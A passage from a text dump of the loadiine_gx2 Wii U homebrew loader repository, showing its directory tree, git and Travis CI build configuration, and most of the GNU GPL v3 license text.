Showing preview only (2,070K chars total). Download the full file or copy to clipboard to get everything.
Repository: dimok789/loadiine_gx2
Branch: master
Commit: 2ae7fe4feaad
Files: 282
Total size: 1.9 MB
Directory structure:
gitextract_pe69zl1c/
├── .gitignore
├── .gitmodules
├── .travis.yml
├── LICENSE
├── Makefile
├── Readme.md
├── data/
│ └── sounds/
│ ├── bgMusic.ogg
│ └── credits_music.ogg
├── filelist.sh
├── gitrev.sh
├── installer/
│ ├── Makefile
│ ├── coreinit.h
│ ├── crt0.S
│ ├── elf_abi.h
│ ├── kernel_patches.S
│ ├── kexploit.c
│ ├── kexploit.h
│ ├── launcher.c
│ ├── logger.c
│ ├── logger.h
│ ├── socket.h
│ ├── structs.h
│ └── types.h
├── languages/
│ ├── chinese.lang
│ ├── chinese_tr.lang
│ ├── english.lang
│ ├── french.lang
│ ├── german.lang
│ ├── hungarian.lang
│ ├── italian.lang
│ ├── japanese.lang
│ ├── pt_BR.lang
│ ├── pt_PT.lang
│ └── spanish.lang
├── meta/
│ └── meta.xml
├── other/
│ ├── devkitPPCupdatePPCr29.pl
│ └── devkitProUpdatePPCr29.ini
├── sd_loader/
│ ├── Makefile
│ └── src/
│ ├── elf_abi.h
│ ├── entry.c
│ ├── kernel_hooks.S
│ └── link.ld
├── server/
│ └── src/
│ ├── Program.cs
│ ├── Properties/
│ │ └── AssemblyInfo.cs
│ ├── System/
│ │ └── IO/
│ │ ├── EndianBinaryReader.cs
│ │ └── EndianBinaryWriter.cs
│ ├── app.config
│ ├── bin/
│ │ └── Debug/
│ │ ├── loadiine_server.exe.config
│ │ ├── loadiine_server.pdb
│ │ ├── loadiine_server.vshost.exe.config
│ │ └── loadiine_server.vshost.exe.manifest
│ ├── loadiine_server.csproj
│ ├── loadiine_server.sln
│ ├── loadiine_server.suo
│ └── obj/
│ └── x86/
│ └── Debug/
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── ResolveAssemblyReference.cache
│ ├── cafiine_server.csproj.FileListAbsolute.txt
│ ├── loadiine_server.csproj.FileListAbsolute.txt
│ └── loadiine_server.pdb
├── src/
│ ├── Application.cpp
│ ├── Application.h
│ ├── common/
│ │ ├── common.h
│ │ ├── kernel_defs.h
│ │ ├── loader_defs.h
│ │ ├── os_defs.h
│ │ ├── retain_vars.c
│ │ ├── retain_vars.h
│ │ └── types.h
│ ├── entry.cpp
│ ├── fs/
│ │ ├── CFile.cpp
│ │ ├── CFile.hpp
│ │ ├── DirList.cpp
│ │ ├── DirList.h
│ │ ├── fs_utils.c
│ │ ├── fs_utils.h
│ │ ├── sd_fat_devoptab.c
│ │ └── sd_fat_devoptab.h
│ ├── game/
│ │ ├── GameLauncher.cpp
│ │ ├── GameLauncher.h
│ │ ├── GameList.cpp
│ │ ├── GameList.h
│ │ ├── memory_area_table.c
│ │ ├── memory_area_table.h
│ │ ├── rpx_rpl_table.c
│ │ └── rpx_rpl_table.h
│ ├── gitrev.h
│ ├── gui/
│ │ ├── FreeTypeGX.cpp
│ │ ├── FreeTypeGX.h
│ │ ├── GameBgImage.cpp
│ │ ├── GameBgImage.h
│ │ ├── GameIcon.cpp
│ │ ├── GameIcon.h
│ │ ├── GameIconModel.h
│ │ ├── GridBackground.cpp
│ │ ├── GridBackground.h
│ │ ├── Gui.h
│ │ ├── GuiButton.cpp
│ │ ├── GuiButton.h
│ │ ├── GuiCheckBox.cpp
│ │ ├── GuiCheckBox.h
│ │ ├── GuiConfigurationScreen.h
│ │ ├── GuiController.h
│ │ ├── GuiDragListener.cpp
│ │ ├── GuiDragListener.h
│ │ ├── GuiElement.cpp
│ │ ├── GuiElement.h
│ │ ├── GuiFrame.cpp
│ │ ├── GuiFrame.h
│ │ ├── GuiGameBrowser.h
│ │ ├── GuiGameCarousel.cpp
│ │ ├── GuiGameCarousel.h
│ │ ├── GuiIconCarousel.cpp
│ │ ├── GuiIconCarousel.h
│ │ ├── GuiIconGrid.cpp
│ │ ├── GuiIconGrid.h
│ │ ├── GuiImage.cpp
│ │ ├── GuiImage.h
│ │ ├── GuiImageAsync.cpp
│ │ ├── GuiImageAsync.h
│ │ ├── GuiImageData.cpp
│ │ ├── GuiImageData.h
│ │ ├── GuiParticleImage.cpp
│ │ ├── GuiParticleImage.h
│ │ ├── GuiSelectBox.cpp
│ │ ├── GuiSelectBox.h
│ │ ├── GuiSound.cpp
│ │ ├── GuiSound.h
│ │ ├── GuiSwitch.cpp
│ │ ├── GuiSwitch.h
│ │ ├── GuiText.cpp
│ │ ├── GuiText.h
│ │ ├── GuiToggle.cpp
│ │ ├── GuiToggle.h
│ │ ├── GuiTrigger.cpp
│ │ ├── GuiTrigger.h
│ │ ├── Scrollbar.cpp
│ │ ├── Scrollbar.h
│ │ ├── VPadController.h
│ │ ├── WPadController.h
│ │ └── sigslot.h
│ ├── kernel/
│ │ ├── kernel_functions.c
│ │ ├── kernel_functions.h
│ │ ├── kernel_hooks.S
│ │ ├── syscalls.c
│ │ ├── syscalls.h
│ │ └── syscalls_asm.S
│ ├── language/
│ │ ├── gettext.cpp
│ │ └── gettext.h
│ ├── link.ld
│ ├── main.cpp
│ ├── main.h
│ ├── menu/
│ │ ├── ButtonChoiceMenu.cpp
│ │ ├── ButtonChoiceMenu.h
│ │ ├── CreditsMenu.cpp
│ │ ├── CreditsMenu.h
│ │ ├── GameLauncherMenu.cpp
│ │ ├── GameLauncherMenu.h
│ │ ├── KeyPadMenu.cpp
│ │ ├── KeyPadMenu.h
│ │ ├── MainDrcButtonsFrame.h
│ │ ├── MainWindow.cpp
│ │ ├── MainWindow.h
│ │ ├── ProgressWindow.cpp
│ │ ├── ProgressWindow.h
│ │ ├── SettingsCategoryMenu.cpp
│ │ ├── SettingsCategoryMenu.h
│ │ ├── SettingsMenu.cpp
│ │ └── SettingsMenu.h
│ ├── network/
│ │ ├── FileDownloader.cpp
│ │ ├── FileDownloader.h
│ │ ├── GameImageDownloader.cpp
│ │ └── GameImageDownloader.h
│ ├── patcher/
│ │ ├── aoc_patcher.cpp
│ │ ├── aoc_patcher.h
│ │ ├── cpp_to_c_util.cpp
│ │ ├── cpp_to_c_util.h
│ │ ├── extra_log_patcher.cpp
│ │ ├── extra_log_patcher.h
│ │ ├── fs_logger.c
│ │ ├── fs_logger.h
│ │ ├── fs_patcher.cpp
│ │ ├── fs_patcher.h
│ │ ├── fs_sd_patcher.cpp
│ │ ├── fs_sd_patcher.h
│ │ ├── hid_controller_function_patcher.cpp
│ │ ├── hid_controller_function_patcher.h
│ │ ├── patcher_util.cpp
│ │ ├── patcher_util.h
│ │ ├── pygecko.c
│ │ ├── pygecko.h
│ │ ├── rplrpx_patcher.cpp
│ │ └── rplrpx_patcher.h
│ ├── resources/
│ │ ├── Resources.cpp
│ │ ├── Resources.h
│ │ └── filelist.h
│ ├── settings/
│ │ ├── CSettings.cpp
│ │ ├── CSettings.h
│ │ ├── CSettingsGame.cpp
│ │ ├── CSettingsGame.h
│ │ ├── SettingsDefs.h
│ │ ├── SettingsEnums.h
│ │ └── SettingsGameDefs.h
│ ├── sounds/
│ │ ├── BufferCircle.cpp
│ │ ├── BufferCircle.hpp
│ │ ├── Mp3Decoder.cpp
│ │ ├── Mp3Decoder.hpp
│ │ ├── OggDecoder.cpp
│ │ ├── OggDecoder.hpp
│ │ ├── SoundDecoder.cpp
│ │ ├── SoundDecoder.hpp
│ │ ├── SoundHandler.cpp
│ │ ├── SoundHandler.hpp
│ │ ├── Voice.h
│ │ ├── WavDecoder.cpp
│ │ └── WavDecoder.hpp
│ ├── system/
│ │ ├── AsyncDeleter.cpp
│ │ ├── AsyncDeleter.h
│ │ ├── CMutex.h
│ │ ├── CThread.h
│ │ ├── exception_handler.c
│ │ ├── exception_handler.h
│ │ ├── memory.c
│ │ └── memory.h
│ ├── utils/
│ │ ├── Directory.cpp
│ │ ├── Directory.h
│ │ ├── FileReplacer.cpp
│ │ ├── FileReplacer.h
│ │ ├── StringTools.cpp
│ │ ├── StringTools.h
│ │ ├── function_patcher.cpp
│ │ ├── function_patcher.h
│ │ ├── logger.c
│ │ ├── logger.h
│ │ ├── strings.c
│ │ ├── strings.h
│ │ ├── utils.c
│ │ ├── utils.h
│ │ ├── xml.c
│ │ └── xml.h
│ └── video/
│ ├── CVideo.cpp
│ ├── CVideo.h
│ ├── CursorDrawer.cpp
│ ├── CursorDrawer.h
│ └── shaders/
│ ├── ColorShader.cpp
│ ├── ColorShader.h
│ ├── FXAAShader.cpp
│ ├── FXAAShader.h
│ ├── FetchShader.h
│ ├── PixelShader.h
│ ├── Shader.h
│ ├── Shader3D.cpp
│ ├── Shader3D.h
│ ├── ShaderFractalColor.cpp
│ ├── ShaderFractalColor.h
│ ├── Texture2DShader.cpp
│ ├── Texture2DShader.h
│ └── VertexShader.h
├── udp_debug_reader/
│ ├── Makefile
│ ├── UdpDebugReader
│ ├── UdpDebugReader.cbp
│ ├── UdpDebugReader.depend
│ ├── UdpDebugReader.layout
│ ├── doxygen/
│ │ └── doxyfile
│ └── source/
│ ├── Input.c
│ ├── Input.h
│ ├── main.c
│ ├── network.c
│ ├── network.h
│ └── winsock/
│ ├── libwsock32.a
│ └── winsock.h
├── updatelang.sh
└── www/
└── loadiine_gx2/
├── frame.html
├── index.html
├── payload.php
├── payload400.html
├── payload410.html
├── payload500.html
├── payload532.html
├── wiiu_browserhax_common.php
├── wiiuhaxx_common_cfg.php
├── wiiuhaxx_rop_sysver_532.php
└── wiiuhaxx_rop_sysver_550.php
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/fs/build
/installer/bin
/loader/build
/menu/build
/server/logs/*.txt
/build
/*.elf
/fs/*.elf
/loader/*.elf
/sd_loader/build
/sd_loader/*.elf
/udp_debug_reader/obj
/udp_debug_reader/GeckoLog.txt
/installer/sd_loader.h
/languages/*.pot
/src/gitrev.c
================================================
FILE: .gitmodules
================================================
[submodule "src/controller_patcher"]
path = src/controller_patcher
url = https://github.com/Maschell/controller_patcher
[submodule "src/dynamic_libs"]
path = src/dynamic_libs
url = https://github.com/Maschell/dynamic_libs
================================================
FILE: .travis.yml
================================================
language: c
sudo: false
branches:
except:
- /^*-v[0-9]/
- /^build-[0-9a-z\-]*/
notifications:
email: false
cache:
apt: true
directories:
- "/home/travis/devkitPro"
before_cache:
- rm -rf $DEVKITPRO/*.7z
- rm -rf $DEVKITPRO/*.bz2
- rm -rf $DEVKITPRO/examples
addons:
apt:
packages:
- p7zip-full
- zip
before_install:
- export DEVKITPRO=/home/travis/devkitPro
- export DEVKITPPC=${DEVKITPRO}/devkitPPC
- mkdir -p $DEVKITPRO
- cd $DEVKITPRO
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitPPCupdatePPCr29.pl
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/libogc.7z
- wget -N https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/portlibs.7z
install:
- cd $DEVKITPRO
- perl devkitPPCupdatePPCr29.pl
- 7z x -y libogc.7z
- 7z x -y portlibs.7z
- cp -R portlibs/ppc/* devkitPPC/
before_script:
- cd $TRAVIS_BUILD_DIR/
script:
- make
- cd $TRAVIS_BUILD_DIR/installer
- make
before_deploy:
- cd $TRAVIS_BUILD_DIR/
- cp -R installer/bin/*.bin www/loadiine_gx2/
- cp meta/meta.xml meta/icon.png .
- commit="$(git rev-parse --short=7 HEAD)"
- zip -r loadiine_gx2_$commit.zip www loadiine_gx2.elf meta.xml icon.png
- git config --global user.email "builds@travis-ci.com"
- git config --global user.name "Travis CI"
- export GIT_TAG=Loadiine-nightly-$commit
- git tag $GIT_TAG -a -m "Loadiine_gx2 nightly build. Not a stable release. Expect bugs!"
- git push --quiet https://$GITHUBKEY@github.com/dimok789/loadiine_gx2 $GIT_TAG > /dev/null 2>&1
deploy:
provider: releases
skip_cleanup: true
prerelease: true
api_key:
secure: R7WrOSmjYSD3DfUyUkklxSheD7MU/np6MycSJ11B1CZ054FUz+xMY5WlvM7mjoq8YDYSznKtRmoFEmc1ZQW/hFNZORPjTvLDOeO/8KWP+RmFS2VKFgpEYn6oBFnFWfzRcLelLcYIuJoCgqEB0NcUSXR1NNvpp4KIszdoO8bJlJekNcwnnUCjeYSRT0JcP5RFqCZoVex6YREgmJfe3mJ0/B8gFgHkwQeQpIS7WVDfC6EgEL5bXLCZuVwGQzyqG6rTvkxVVG/vXeKvFOKZJQbY78l09KlU31WU7Kql6mMwuq7cUXkDwczt2iO/cxAaUQnJ4KDmWCDuiJugCXyFMnAyOdAJvGu5WvN2S4aGzxmxqopKoW0wAHf1L+Juv9z36FrYlmT3iYS1KBzM6jVjj2+Bev9xPJuEpRFgvKJI0JlyqX9bXnhF4rOnIaNUEn41EkRGPcYDS4cGsVqNL+CsuND0YGmRw4hOo3E69Oex1WEBMwZNohb8CfVBNXY9I3i6qe4rJ0LJsfsYykK5j1Hc9ZWJpLZQNZHr3gOS3alFq3A4Jwad0yynxkbGML6TUxYcz0TRqoKE1FMrpL2UgyZhG2I3ugH9q3GPF/50CCBEsuVvCwgar9Y0Yw4q/MQwmgX7gg8jaeydS/pAoFcf1MMews57+cL9qiEGKiIL3glp55eNP4Y=
file: loadiine_gx2_$commit.zip
on:
repo: dimok789/loadiine_gx2
tags: false
all_branches: true
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
